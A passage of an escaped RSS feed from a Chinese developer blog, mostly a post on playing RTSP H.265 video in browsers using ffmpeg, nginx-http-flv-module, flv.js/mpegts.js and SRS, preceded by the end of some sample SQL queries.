&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 查询物化视图结果 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pv_uv_daily&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 联表查询示例 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;page_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageviews&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;LEFT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;LEFT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;DESC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>浏览器如何播放 RTSP 协议的 HEVC 视频</title><link>https://xiaobox.github.io/p/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/</link><pubDate>Sun, 18 Aug 2024 10:44:54 +0000</pubDate><guid>https://xiaobox.github.io/p/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/cover.jpg" alt="Featured image of post 浏览器如何播放 RTSP 协议的 HEVC 视频" /&gt;&lt;h2 id="起因"&gt;&lt;a href="#%e8%b5%b7%e5%9b%a0" class="header-anchor"&gt;&lt;/a&gt;起因
&lt;/h2&gt;&lt;p&gt;最近接入了一个三方的 API，对方提供的数据中有视频链接，是实时流视频，最开始的时候是 http 协议的，我一看 http 应该没问题，在本机的视频播放器 IINA 上试了一下能播，又在前端写了个 demo，浏览器也能播放，没什么问题。这个地址的后缀是 .flv&lt;/p&gt;
&lt;p&gt;后来数据中出现了 rtsp 协议的地址。最开始没当回事儿，在 IINA 上试了一下可以播就去忙别的了，后来负责开发的小伙伴反馈这玩意在浏览器播不了，这才引起了重视。&lt;/p&gt;
&lt;h2 id="经过"&gt;&lt;a href="#%e7%bb%8f%e8%bf%87" class="header-anchor"&gt;&lt;/a&gt;经过
&lt;/h2&gt;&lt;p&gt;经过一番研究，果然，rtsp 协议的视频地址是无法直接在浏览器播放的。需要我们自己处理。经过与三方 API 厂商沟通无果后，我们只能硬着头皮自己处理了。虽然最后圆满解决了，但我们也不得不说自己的经验不足，如果一开始我们就确定的知道 rtsp 协议无法直接在浏览器播放，那么我们和 三方 API 对接时候的策略和态度就会完全不一样。在系统解决方案设计时也会完全不一样。现在这个时间点，我们是很被动的。&lt;/p&gt;
&lt;p&gt;无论如何，我们是要解决它的。&lt;strong&gt;我们研究了一下发现，要将 rtsp 协议的视频做一个协议转换，然后将转换后的实时视频流推到流视频服务器，播放时，浏览器从这个流视频服务器拉流播放。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;架构上还是比较简单的，于是我们开始搭建实时视频流服务器。&lt;/p&gt;
&lt;h3 id="流视频服务器"&gt;&lt;a href="#%e6%b5%81%e8%a7%86%e9%a2%91%e6%9c%8d%e5%8a%a1%e5%99%a8" class="header-anchor"&gt;&lt;/a&gt;流视频服务器
&lt;/h3&gt;&lt;p&gt;查阅了一些资料后发现用 Nginx 配合一些模块可以解决问题。于是找到了 &lt;code&gt;nginx-rtmp-module&lt;/code&gt; &lt;a class="link" href="https://github.com/arut/nginx-rtmp-module" target="_blank" rel="noopener"
 &gt;https://github.com/arut/nginx-rtmp-module&lt;/a&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;NGINX-based Media Streaming Server&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;原理上是基于 NGINX 做的流视频服务器，把 rtsp 协议的视频转成 rtmp，然后再拉流播放。&lt;/p&gt;
&lt;p&gt;它的功能其实也不少：&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/001-d74e6e2d.png"&gt;&lt;/p&gt;
&lt;p&gt;本来想直接做个 demo 搞一下，不过在查阅资料的时候发现了这个模块：&lt;code&gt;nginx-http-flv-module&lt;/code&gt; &lt;a class="link" href="https://github.com/winshining/nginx-http-flv-module" target="_blank" rel="noopener"
 &gt;https://github.com/winshining/nginx-http-flv-module&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/002-07b7d77b.png"&gt;&lt;/p&gt;
&lt;p&gt;看了一下功能对比和一些测评，嗯，没有理由不用更好的，你说是吧。于是就开始使用 &lt;code&gt;nginx-http-flv-module&lt;/code&gt; 来做 demo&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nginx-http-flv-module&lt;/code&gt; 是用源码编译安装的，安装过程也不复杂，大家随便搜一搜就能找到教程，我这里就不废话了。安装完成后就可以参考 &lt;code&gt;nginx-http-flv-module&lt;/code&gt; 的文档搭建 demo 了。&lt;/p&gt;
&lt;h3 id="ffmpeg-推流"&gt;&lt;a href="#ffmpeg-%e6%8e%a8%e6%b5%81" class="header-anchor"&gt;&lt;/a&gt;ffmpeg 推流
&lt;/h3&gt;&lt;p&gt;所谓推流，还要用到 ffmpeg ，这个强大的软件我也不用过多介绍，很多视频、音频、图像的处理都可以用到它，强大极了，参数也复杂极了。不过我们本文用到的不复杂：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ffmpeg -re -rtsp_transport tcp -i &amp;#34;rtsp://原视频 IP: 端口/live/heihe&amp;#34; -c:v copy -an -f flv &amp;#34;rtmp://127.0.0.1/myapp/livetest&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在执行这个命令之前需要我们在本地安装好 nginx 以及相应的 &lt;code&gt;nginx-http-flv-module&lt;/code&gt;模块 和 &lt;code&gt;ffmpeg&lt;/code&gt;(ffmpeg 的安装也不赘述了，教程也很多，随便一搜就能搞定）&lt;/p&gt;
&lt;p&gt;全部安装好以后启动 Nginx，然后就可以执行上面的命令推流了。&lt;/p&gt;
&lt;p&gt;解释下上面的命令，这条命令使用 &lt;code&gt;ffmpeg&lt;/code&gt;，从一个 RTSP 流中读取视频，并将其以 FLV 格式推送到一个 RTMP 流。下面是每个参数的解释：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ffmpeg&lt;/code&gt;：这是命令本身，调用 FFmpeg 应用程序。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-re&lt;/code&gt;：表示“real-time”，这个选项告诉 FFmpeg 以与源相同的速率读取输入，模拟实时流。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-rtsp_transport tcp&lt;/code&gt;：指定使用 TCP 协议来传输 RTSP 流。RTSP 流可以使用 UDP 或 TCP，此选项强制使用 TCP。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-i &amp;quot;rtsp://原视频 IP: 端口/live/heihe&amp;quot;&lt;/code&gt;：这是输入选项，指定了 RTSP 流的 URL。这个 URL 指向一个特定的视频流。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-c:v copy&lt;/code&gt;：指定视频编码器为“copy”，这意味着视频流将不会被重新编码，而是直接复制到输出流中。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-an&lt;/code&gt;：这个选项表示“no audio”，告诉 FFmpeg 不要处理音频流，即输出中不包括音频。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f flv&lt;/code&gt;：指定输出格式为 FLV（Flash Video）。FLV 是一种常用于流媒体传输的视频格式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;rtmp://127.0.0.1/myapp/livetest&amp;quot;&lt;/code&gt;：这是输出选项，指定了 RTMP 流的 URL。在这个例子中，流被推送到本地主机的&lt;code&gt;myapp&lt;/code&gt;应用下的&lt;code&gt;livetest&lt;/code&gt;流。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这条命令的作用是从一个 RTSP 流中读取视频（不包括音频），并以实时的方式将其以 FLV 格式推送到一个 RTMP 服务器。这是流媒体传输中的一个常见用法，例如将监控摄像头或直播视频从 RTSP 源转发到 RTMP 流媒体服务器。&lt;/p&gt;
&lt;h3 id="拉流"&gt;&lt;a href="#%e6%8b%89%e6%b5%81" class="header-anchor"&gt;&lt;/a&gt;拉流
&lt;/h3&gt;&lt;p&gt;到这里活儿就干了一半了，剩下的就是如何在浏览器拉流播放，so easy, 根据 &lt;code&gt;nginx-http-flv-module&lt;/code&gt; 的文档写个 html 页面就可以测试了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt; &lt;span class="na"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Video Player&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;https://cdn.jsdelivr.net/npm/flv.js/dist/flv.min.js&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;videoElement&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;controls&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;640&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;360&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;flvjs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isSupported&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;videoElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;videoElement&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;flvjs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createPlayer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;flv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://localhost:8080/live?app=myapp&amp;amp;stream=livetest&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attachMediaElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;videoElement&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;play&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="问题"&gt;&lt;a href="#%e9%97%ae%e9%a2%98" class="header-anchor"&gt;&lt;/a&gt;问题
&lt;/h2&gt;&lt;p&gt;本来以为到这里就结束了，因为测试也没发现什么毛病，部署到测试环境也是 OK 的。然而还是出问题了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们拿到的 rtsp 流视频源里有的是 h264 编码的，而有的是 h265 编码的。264 的没问题，而 265 的是播不出来的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同样在跟三方沟通无果后，我们也得自己解决这个问题。首先看了一下前端使用的 flv.js ，没错它不支持 HEVC(h265)，没事儿，好在 &lt;code&gt;mpegts.js&lt;/code&gt; 支持&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/003-51f72fae.png"&gt;&lt;/p&gt;
&lt;p&gt;但重点不在这里，而是充当流媒体服务器的 &lt;code&gt;nginx-http-flv-module&lt;/code&gt; 也不支持 H265。&lt;/p&gt;
&lt;p&gt;好吧，之前的 demo 白写了，人家不支持。于是又要重新设计方案，找替代品。好在市面上流媒体服务器的项目很多，我们找到了一个相对不错的项目 &lt;code&gt;SRS&lt;/code&gt; &lt;a class="link" href="https://ossrs.io/lts/zh-cn/" target="_blank" rel="noopener"
 &gt;https://ossrs.io/lts/zh-cn/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/004-e3fa7b66.png"&gt;&lt;/p&gt;
&lt;p&gt;srs 的安装部署非常简单，参照文档可以很容易的搭建起来。但是注意，&lt;strong&gt;安装时候，源码选择上尽量使用 release 版本 ，develop 版本的源码有 bug 的可能性很高。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我没有使用 docker 安装，它是支持 docker 安装的。&lt;/p&gt;
